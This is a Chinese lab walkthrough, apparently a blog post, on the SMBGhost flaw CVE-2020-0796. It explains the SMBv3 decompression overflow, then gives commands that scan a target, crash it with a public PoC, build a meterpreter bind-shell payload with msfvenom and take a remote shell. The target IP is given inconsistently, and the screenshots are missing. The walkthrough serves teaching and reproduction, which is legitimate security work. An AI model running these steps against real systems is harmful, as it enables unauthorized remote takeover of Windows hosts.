CVE-2020-0796:永恒之黑

本文介绍了一个存在于SMB3.1.1协议中的远程代码执行漏洞,详细解释了漏洞原理及影响范围,并提供了漏洞复现的具体步骤,包括扫描、蓝屏攻击与获取Shell等操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一:漏洞简介

漏洞原理:

SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

影响范围:

● Windows 10 Version 1903 for 32-bit Systems
● Windows 10 Version 1903 for x64-based Systems
● Windows 10 Version 1903 for ARM64-based Systems
● Windows Server, Version 1903 (Server Core installation)
● Windows 10 Version 1909 for 32-bit Systems
● Windows 10 Version 1909 for x64-based Systems
● Windows 10 Version 1909 for ARM64-based Systems
● Windows Server, Version 1909 (Server Core installation)

二:漏洞复现

环境下载:

Windows 10 教育版Build 10.0.18362
POC扫描工具
POC利用工具
EXP漏洞利用

复现环境:

攻击机:Kali—>192.168.1.125
靶机:Win10—>192.168.1.133

步骤一:扫描漏洞

git clone https://github.com/ollypwn/SMBGhost.git

进入工具目录 输入命令进行扫描

python3 scanner.py 172.18.132.88

在这里插入图片描述

Vulnerable代表目标存在漏洞,可以进行攻击!

步骤二:漏洞利用-蓝屏

目标:使目标主机蓝屏
原理:该脚本连接到目标主机,并在转换头中设置了错误的偏移量字段的情况下压缩了身份验证请求,从而导致解压缩器缓冲溢出并导致目标崩溃。

git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git

进入工具目录,输入命令对目标机进行攻击

python3 CVE-2020-0796.py 192.168.1.133

在这里插入图片描述
在这里插入图片描述

步骤三:漏洞利用-Getshell

1:在KALI系统内下载漏洞利用exp

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

2:使用Msfvenom生成正向连接攻击载荷(木马) 端口为:6666

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python
说明: 
   #-p payload
   #-e 编码方式
   #-i 编码次数
   #-b 在生成的程序中避免出现的值
   #LHOST,LPORT 监听上线的主机IP和端口
   #-f exe 生成EXE格式
   #‘\x00‘转义字符,对应ascall码中为null,因为是二进制文件所以会出现,在python中作为结束的标志,有点相当于%00截断的感觉。

在这里插入图片描述

3:用生成的shellcode将工具目录中exploit.py中的这一部分替换掉(buf后的字符串,保留USER_PAYLOAD不变)小诀窍,先整体粘贴复制,然后将buf += 替换为 user_paload,就不用一行一行粘贴了,节省了很多时间。以下是exploit.py替换后的内容:
在这里插入图片描述

4:打开msfconsole监听目标机指定端口[端口:6666]

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666                      //目标端口
set rhost 172.18.132.88               //目标机ip
run

在这里插入图片描述

5:运行exploit.py脚本,反弹shell

python3 exploit.py -ip 192.168.1.133

在这里插入图片描述

6:msfconsole已经连接到了目标机进行权限维持

在这里插入图片描述
在这里插入图片描述

7:远程链接!
在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值